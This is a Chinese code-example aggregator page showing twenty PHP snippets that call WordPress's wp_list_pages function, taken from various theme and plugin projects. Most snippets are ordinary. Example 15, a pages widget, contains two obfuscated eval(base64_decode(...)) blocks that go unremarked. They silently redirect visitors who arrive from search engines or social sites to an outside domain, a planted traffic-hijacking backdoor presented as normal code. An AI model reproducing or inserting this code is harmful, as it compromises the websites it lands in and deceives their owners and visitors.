• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP wp_list_pages函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中wp_list_pages函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_list_pages函数的具体用法?PHP wp_list_pages怎么用?PHP wp_list_pages使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了wp_list_pages函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: main_menu_fallback

function main_menu_fallback()
{
    echo '<ul class="default-nav">';
    wp_list_pages();
    wp_list_categories();
    echo '</ul>';
}
开发者ID:arildoosilva,项目名称:besm_restricted_area,代码行数:7,代码来源:navigation.php


示例2: widget

	function widget( $args, $instance ) {
		extract( $args );

		$title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Pages', 'lespaul_domain_adm' ) : $instance['title'], $instance, $this->id_base);
		$sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];

		if ( $sortby == 'menu_order' )
			$sortby = 'menu_order, post_title';

		$pageIDs = get_all_page_ids();

		foreach ( $pageIDs as $pageID ) {
			if ( ! wm_restriction_page( $pageID ) ) {
				$exclude .= ( $exclude ) ? ( ',' . $pageID ) : ( $pageID );
			}
		}

		$out = wp_list_pages( apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude) ) );

		if ( !empty( $out ) ) {
			echo $before_widget;
			if ( $title)
				echo $before_title . $title . $after_title;
		?>
		<ul>
			<?php echo $out; ?>
		</ul>
		<?php
			echo $after_widget;
		}
	}
开发者ID:unisexx,项目名称:drtooth,代码行数:32,代码来源:w-default-widgets.php


示例3: html_sitemap_shortcode_handler

function html_sitemap_shortcode_handler($args, $content = null)
{
    if (is_feed()) {
        return '';
    }
    $args['echo'] = 0;
    $args['title_li'] = '';
    unset($args['link_before']);
    unset($args['link_after']);
    if (isset($args['child_of']) && $args['child_of'] == 'CURRENT') {
        $args['child_of'] = get_the_ID();
    } else {
        if (isset($args['child_of']) && $args['child_of'] == 'PARENT') {
            $post =& get_post(get_the_ID());
            if ($post->post_parent) {
                $args['child_of'] = $post->post_parent;
            } else {
                unset($args['child_of']);
            }
        }
    }
    $html = wp_list_pages($args);
    // Remove the classes added by WordPress
    $html = preg_replace('/( class="[^"]+")/is', '', $html);
    return '<ul>' . $html . '</ul>';
}
开发者ID:kitfrench,项目名称:Futurestep,代码行数:26,代码来源:html-sitemap.php


示例4: widget

 /**
  * Echo the widget content.
  *
  * @param array $args Display arguments including before_title, after_title, before_widget, and after_widget.
  * @param array $instance The settings for the particular instance of the widget
  */
 function widget($args, $instance)
 {
     extract($args);
     $instance = wp_parse_args((array) $instance, array('title' => '', 'include' => array(), 'order' => ''));
     echo $before_widget;
     if ($instance['title']) {
         echo $before_title . apply_filters('widget_title', $instance['title']) . $after_title;
     }
     echo '<ul class="nav">' . "\n";
     // Empty fallback (default)
     if (empty($instance['include'])) {
         $instance['include'][] = 'home';
         $pages = get_pages();
         foreach ((array) $pages as $page) {
             $instance['include'][] = $page->ID;
         }
     }
     // Show Home Link?
     if (in_array('home', (array) $instance['include'])) {
         $active = is_front_page() ? 'class="current_page_item"' : '';
         echo '<li ' . $active . '><a href="' . trailingslashit(home_url()) . '">' . __('Home', 'genesis') . '</a></li>';
     }
     // Show Page Links?
     wp_list_pages(array('title_li' => '', 'include' => implode(',', $instance['include']), 'sort_column' => $instance['order']));
     echo '</ul>' . "\n";
     echo $after_widget;
 }
开发者ID:elderxavier,项目名称:ALLAN-JUNIOR-IAN,代码行数:33,代码来源:menu-pages-widget.php


示例5: widget

    function widget($args, $instance)
    {
        extract($args);
        $title = apply_filters('widget_title', empty($instance['title']) ? __('Pages', 'tfuse') : $instance['title'], $instance, $this->id_base);
        $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby'];
        $exclude = empty($instance['exclude']) ? '' : $instance['exclude'];
        $b = $instance['b'] = empty($instance['b']) ? '' : $instance['b'];
        $class = $b ? 'widget-boxed' : '';
        $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude, 'link_before' => '<span>', 'link_after' => '</span>')));
        if (!empty($out)) {
            echo '<div class="widget widget_pages ' . $class . '">';
            $title = tfuse_qtranslate($title);
            if ($title) {
                echo '<h3 class="widget-title">' . $title . '</h3>';
            }
            ?>
		<ul>
			<?php 
            echo $out;
            ?>
		</ul>
		<?php 
            echo '</div>';
        }
    }
开发者ID:pinchpointer,项目名称:ppsitewordpress,代码行数:25,代码来源:TFuse_Widget_Pages.php


示例6: render

    function render($args, $instance)
    {
        global $gantry, $post;
        ob_start();
        $sortby = $instance['sortby'];
        $menu_class = $instance['menu_class'];
        $depth = $instance['depth'];
        if ($sortby == 'menu_order') {
            $sortby = 'menu_order, post_title';
        }
        if ($menu_class != '') {
            $menu_class = ' class="' . $menu_class . '"';
        } else {
            $menu_class = '';
        }
        $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'depth' => $depth, 'sort_column' => $sortby, 'exclude' => $instance['exclude'], 'link_before' => '<span>', 'link_after' => '</span>')));
        $out = str_replace('current_page_item', 'current_page_item active', $out);
        if (!empty($out)) {
            ?>
			
			<ul<?php 
            echo $menu_class;
            ?>
>
				<?php 
            echo $out;
            ?>
			</ul>
			
			<?php 
        }
        echo ob_get_clean();
    }
开发者ID:rotoballer,项目名称:emily,代码行数:33,代码来源:pages.php


示例7: dt_page_menu

function dt_page_menu($args = array())
{
    $defaults = array('sort_column' => 'menu_order, post_title', 'container_class' => 'nav-bg', 'menu_id' => 'nav', 'echo' => false, 'link_before' => '', 'link_after' => '');
    $args = wp_parse_args($args, $defaults);
    $args = apply_filters('wp_page_menu_args', $args);
    $menu = '';
    $list_args = $args;
    $list_args['echo'] = false;
    $list_args['title_li'] = '';
    $list_args['walker'] = new Dt_Custom_Walker_Page();
    $menu .= str_replace(array("\r", "\n", "\t"), '', wp_list_pages($list_args));
    if (isset($menu)) {
        $menu = sprintf($args['items_wrap'], $args['menu_id'], $args['menu_class'], $menu);
    }
    //            $menu = '<ul' . ( isset($args['menu_id'])?' id="'.esc_attr($args['menu_id']).'"':'' ) . '>' . $menu . '</ul>';
    if (isset($container)) {
        $menu = '<div class="' . esc_attr($args['container_class']) . '">' . $menu . "</div>\n";
    }
    $menu = apply_filters('wp_page_menu', $menu, $args);
    if ($args['echo']) {
        echo $menu;
    } else {
        return $menu;
    }
}
开发者ID:mnjit,项目名称:aa-global,代码行数:25,代码来源:core-menu.php


示例8: displayGrandChildMenu

 /**
  * @deprecated 5.0.0
  */
 function displayGrandChildMenu($page)
 {
     static $count = 0;
     $count++;
     //If the page sent is not a child of the current page
     if (!$this->page_ancestor($page)) {
         return;
     }
     //if there are no children of the current page bail
     if (!($children = $this->page_children($page->ID))) {
         return;
     }
     $content = sprintf('<ul class="grandchild-sidebar-menu level-%s children">', $count);
     foreach ($children as $child) {
         //If this page should be excluded bail
         if (in_array($child->ID, $this->exclude)) {
             continue;
         }
         $args = array('post_type' => $this->post_type, 'sort_column' => $this->order_by, 'title_li' => '', 'echo' => 0, 'depth' => 1, 'include' => $child->ID);
         $content .= $this->openListItem(wp_list_pages($args));
         //If this newly outputed child is a direct parent of the current page
         if ($this->page_ancestor($child)) {
             $content .= $this->displayGrandChildMenu($child);
         }
         $content .= '</li>';
     }
     $content .= '</ul>';
     return $content;
 }
开发者ID:narendra-addweb,项目名称:MyImmoPix,代码行数:32,代码来源:Advanced_Sidebar_Menu_Deprecated.php


示例9: widget

    function widget($args, $instance)
    {
        extract($args);
        $title = apply_filters('widget_title', $instance['title']);
        $Num = apply_filters('$Num', $instance['Num']);
        if (!empty($instance['title'])) {
            //TEMISI BOSH QALDURULSA  'رەڭدار خەتكۈشلەر'  BOLUP KORINIDU
            $title = $instance['title'];
        } else {
            $title = 'بەتلەر';
        }
        if (!empty($instance['Num'])) {
            $Num = $instance['Num'];
        } else {
            $Num = '10';
        }
        $title = apply_filters('widget_title', $title, $instance, $this->id_base);
        $Num = apply_filters('$Num', $Num, $instance, $this->id_base);
        echo $before_widget;
        if ($title) {
            echo $before_title . $title . $after_title;
        }
        ?>
          <ul class="pages">
<?php 
        wp_list_pages('title_li=&depth=1');
        ?>
</ul>
		<?php 
        echo $after_widget;
    }
开发者ID:MenZil-Team,项目名称:gulzar,代码行数:31,代码来源:betler.php


示例10: childtheme_menus

function childtheme_menus()
{
    ?>
        <div id="page-menu" class="menu">
            <ul id="page-nav" class="sf-menu">
                <li class="rss"><a href="<?php 
    bloginfo('rss2_url');
    ?>
">RSS Feed</a></li>
                <?php 
    wp_list_pages('title_li=');
    ?>
            </ul>
        </div>
        <div id="category-menu" class="menu">
            <ul id="category-nav" class="sf-menu">
                <li class="home"><a href="<?php 
    bloginfo('url');
    ?>
">Home</a></li>
                <?php 
    wp_list_categories('title_li=&number=7');
    ?>
                <li class="blog-description"><span><?php 
    bloginfo('description');
    ?>
</span></li>
            </ul>
        </div>
<?php 
}
开发者ID:Aliciakwan,项目名称:OneCollection,代码行数:31,代码来源:functions.php


示例11: default_menu

/**
 * A default menu for when they don't have one set.
 * Everybody sees a page list + the admins see a message about setting up the
 * menus in admin
 */
function default_menu()
{
    ?>

    <ul id="menu-main" class="menu--main  menu  cf">
        <?php 
    if (is_user_logged_in() && current_user_can('level_10')) {
        ?>
            <li><a href="<?php 
        bloginfo('url');
        ?>
/wp-admin/nav-menus.php"><?php 
        _e('Admin, não se esqueça de configurar um menu', 'cultural');
        ?>
</a></li>
        <?php 
    }
    ?>
        <?php 
    wp_list_pages('title_li=');
    ?>
        <?php 
    wp_list_categories('title_li=');
    ?>
    </ul>

    <?php 
}
开发者ID:centroculturalsp,项目名称:cultural,代码行数:33,代码来源:extras.php


示例12: vkExUnit_pageList_ancestor_shortcode

function vkExUnit_pageList_ancestor_shortcode()
{
    global $post;
    if (!is_page() || !get_post_meta($post->ID, 'vkExUnit_pageList_ancestor', true)) {
        return;
    }
    $pageList_ancestor_html = PHP_EOL . '<section class="veu_pageList_ancestor">' . PHP_EOL;
    if ($post->ancestors) {
        foreach ($post->ancestors as $post_anc_id) {
            $post_id = $post_anc_id;
        }
    } else {
        $post_id = $post->ID;
    }
    if ($post_id) {
        $children = wp_list_pages('title_li=&child_of=' . $post_id . '&echo=0');
        if ($children) {
            $pageList_ancestor_html .= '<h1 class="section_title subSection-title"><a href="' . get_permalink($post_id) . '">' . get_the_title($post_id) . '</a></h1>';
            $pageList_ancestor_html .= '<ul class="pageList">';
            $pageList_ancestor_html .= $children;
            $pageList_ancestor_html .= '</ul>';
            $pageList_ancestor_html .= '</section>';
        }
    }
    return $pageList_ancestor_html;
}
开发者ID:hinaloe,项目名称:VK-All-in-One-Expansion-Unit,代码行数:26,代码来源:pageList_ancestor.php


示例13: widget

    function widget($args, $instance)
    {
        global $post;
        $children = wp_list_pages('echo=0&child_of=' . $post->ID . '&title_li=');
        if ($children) {
            $parent = $post->ID;
        } else {
            $parent = $post->post_parent;
            if (!$parent) {
                $parent = $post->ID;
            }
        }
        $parent_title = get_the_title($parent);
        extract($args);
        $title = apply_filters('widget_title', empty($instance['title']) ? $parent_title : $instance['title'], $instance, $this->id_base);
        $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby'];
        $exclude = empty($instance['exclude']) ? theme_get_excluded_pages() : $instance['exclude'] . ',' . theme_get_excluded_pages();
        $output = wp_list_pages(array('title_li' => '', 'echo' => 0, 'child_of' => $parent, 'sort_column' => $sortby, 'exclude' => $exclude, 'depth' => 1));
        if (!empty($output)) {
            echo $before_widget;
            if ($title) {
                echo $before_title . $title . $after_title;
            }
            ?>
		<ul>
			<?php 
            echo $output;
            ?>
		</ul>
		<?php 
            echo $after_widget;
        }
    }
开发者ID:blocher,项目名称:oneholyname,代码行数:33,代码来源:subnav.php


示例14: uni_nav_fallback

function uni_nav_fallback()
{
    $sOutput = '<nav class="mainMenu"><ul class="clear">';
    $sOutput .= wp_list_pages(array('title_li' => '', 'echo' => false));
    $sOutput .= '</ul></nav>';
    echo $sOutput;
}
开发者ID:primus1989,项目名称:https---github.com-DataDesignSystems-drishtiq,代码行数:7,代码来源:functions.php


示例15: widget

    function widget($args, $instance)
    {
        extract($args);
        $title = apply_filters('widget_title', empty($instance['title']) ? __('Pages') : $instance['title']);
        $sortby = empty($instance['sortby']) ? 'menu_order' : $instance['sortby'];
        $exclude = empty($instance['exclude']) ? '' : $instance['exclude'];
        if ($sortby == 'menu_order') {
            $sortby = 'menu_order, post_title';
        }
        $out = wp_list_pages(apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude)));
        if (!empty($out)) {
            echo $before_widget;
            if ($title) {
                echo $before_title . $title . $after_title;
            }
            ?>
		<ul>
			<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            echo $out;
            ?>
		</ul>
		<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            echo $after_widget;
        }
    }
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:27,代码来源:default-widgets.php


示例16: widget

 /**
  *
  */
 function widget($args, $instance)
 {
     global $post, $page_exclusions;
     extract($args);
     $parent = $post->post_parent;
     $title = apply_filters('widget_title', empty($instance['title']) ? get_the_title($parent) : $instance['title'], $instance, $this->id_base);
     if (is_search() || is_404() || is_archive() || is_single()) {
         return;
     }
     $out = $before_widget;
     $out .= $before_title . $title . $after_title;
     if ($post->post_parent) {
         $children = wp_list_pages('sort_column=menu_order&exclude=$page_exclusions&title_li=&child_of=' . $post->post_parent . '&echo=0&depth=1&link_after=<span></span>');
     } else {
         $children = wp_list_pages('sort_column=menu_order&exclude=$page_exclusions&title_li=&child_of=' . $post->ID . '&echo=0&depth=1&link_after=<span></span>');
     }
     //		$children = wp_list_pages("sort_column=menu_order&exclude=$page_exclusions&title_li=&child_of=" . $parent . "&echo=0&depth=1");
     //		$out .=  '<div class="featured_tabs_container">';
     //		$out .=  '<div>';
     $out .= '<ul>' . $children . '</ul>';
     //		$out .=  '</div>';
     //		$out .=  '</div>';
     $out .= $after_widget;
     echo $out;
 }
开发者ID:schiz,项目名称:scrollax,代码行数:28,代码来源:widget-subnav.php


示例17: genesis_page_archive_content

/**
 * This function outputs sitemap-esque columns displaying all pages,
 * categories, authors, monthly archives, and recent posts.
 *
 * @since 1.6
 */
function genesis_page_archive_content()
{
    // Pause Exclude Pages plugin functionality.
    pause_exclude_pages();
    ?>
	
	<h4><?php 
    _e('Pages:', 'genesis');
    ?>
</h4>
	<ul>
		<?php 
    wp_list_pages('title_li=');
    ?>
	</ul>

	<h4><?php 
    _e('Categories:', 'genesis');
    ?>
</h4>
	<ul>
		<?php 
    wp_list_categories('sort_column=name&title_li=');
    ?>
	</ul>

	<h4><?php 
    _e('Authors:', 'genesis');
    ?>
</h4>
	<ul>
		<?php 
    wp_list_authors('exclude_admin=0&optioncount=1');
    ?>
	</ul>

	<h4><?php 
    _e('Monthly:', 'genesis');
    ?>
</h4>
	<ul>
		<?php 
    wp_get_archives('type=monthly');
    ?>
	</ul>

	<h4><?php 
    _e('Recent Posts:', 'genesis');
    ?>
</h4>
	<ul>
		<?php 
    wp_get_archives('type=postbypost&limit=100');
    ?>
	</ul>

	<?php 
    // Resume Exclude Pages plugin functionality.
    resume_exclude_pages();
}
开发者ID:roosalles,项目名称:trestle,代码行数:66,代码来源:page_archive_all_pages.php


示例18: render_shortcode

    /**
     * Render main shortcode.
     * 
     * @since 1.0.0
     * @access public
     * @param array $atts 
     * @param string $content 
     * @return string
     */
    public function render_shortcode($atts, $content = null)
    {
        extract(shortcode_atts(array('nav_menu' => '__default', 'mobile_menu' => 'yes', 'mobile_menu_breakpoint' => 600, 'mobile_menu_label' => __('Menu', 'themify-flow')), $atts, $this->shortcode));
        ob_start();
        ?>

		<?php 
        if ('__default' == $nav_menu) {
            if (has_nav_menu('default_menu')) {
                wp_nav_menu(array('theme_location' => 'default_menu', 'container' => false, 'menu_class' => 'tf_menu'));
            } else {
                echo '<ul class="tf_menu tf_pages_menu">';
                wp_list_pages('title_li=');
                echo '</ul>';
            }
        } else {
            wp_nav_menu(array('menu' => $nav_menu, 'container' => false, 'menu_class' => 'tf_menu'));
        }
        // mobile menu
        if ('yes' == $mobile_menu) {
            if ('__default' == $nav_menu) {
                echo '<div class="mobile-menu">';
                $this->wp_dropdown_pages(array(), $mobile_menu_label);
                echo '</div>';
            } else {
                wp_nav_menu(array('menu' => $nav_menu, 'container' => false, 'walker' => new Walker_Nav_Menu_TF_Dropdown(), 'items_wrap' => '<div class="mobile-menu"><form><div class="tf_mobile_menu_wrap"><select onchange="if (this.value) window.location.href=this.value"><option value="">' . $mobile_menu_label . '</option>%3$s</select></div></form></div>'));
            }
            ?>
			<style>
			@media (max-width: <?php 
            echo $mobile_menu_breakpoint;
            ?>
px) {
				.tf_module_block_<?php 
            echo $atts['sc_id'];
            ?>
.tf_module_menu .mobile-menu {
					display: block;
				}
				.tf_module_block_<?php 
            echo $atts['sc_id'];
            ?>
.tf_module_menu .tf_menu {
					display: none;
				}
			}
			</style>
		<?php 
        }
        ?>

		<?php 
        // on touch devices add dropdown script
        if (wp_is_mobile()) {
            wp_enqueue_script('themify-dropdown');
            $this->footer_scripts .= sprintf('jQuery(function(){ jQuery( ".tf_module_block_%s.tf_module_menu .tf_menu" ).themifyDropdown() });', $atts['sc_id']);
        }
        $output = ob_get_clean();
        return $output;
    }
开发者ID:jhostetter,项目名称:wp_intern_themes,代码行数:69,代码来源:module.php


示例19: ts_sitemap_func

function ts_sitemap_func($atts)
{
    extract(shortcode_atts(array('sitemap' => ''), $atts));
    $html = '';
    ob_start();
    ?>
	<ul class="sitemap">
		<?php 
    switch ($sitemap) {
        case 'pages':
            wp_list_pages("title_li=");
            break;
        case 'posts':
            $archive_query = new WP_Query('showposts=1000&cat=-8');
            while ($archive_query->have_posts()) {
                $archive_query->the_post();
            }
            break;
        case 'archives':
            wp_get_archives('type=monthly&show_post_count=true');
            break;
        default:
            wp_list_pages("title_li=");
            break;
    }
    ?>
	</ul>


	<?php 
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}
开发者ID:Sibzsolutions,项目名称:Schiffrinpa,代码行数:34,代码来源:sitemap.php


示例20: widget

 function widget($args)
 {
     $options = get_option('sr_pages_menu');
     echo '<ul class="' . $options['sr_pages_menu_class_name'] . '">';
     wp_list_pages('title_li=&include=' . $options['sr_pages_menu_include'] . '&exclude=' . $options['sr_pages_menu_include']);
     echo "</ul>";
 }
开发者ID:neerajsohal,项目名称:sorcerer,代码行数:7,代码来源:pages_menu.php



注:本文中的wp_list_pages函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP wp_list_pluck函数代码示例发布时间:2022-05-23
下一篇:
PHP wp_list_filter函数代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap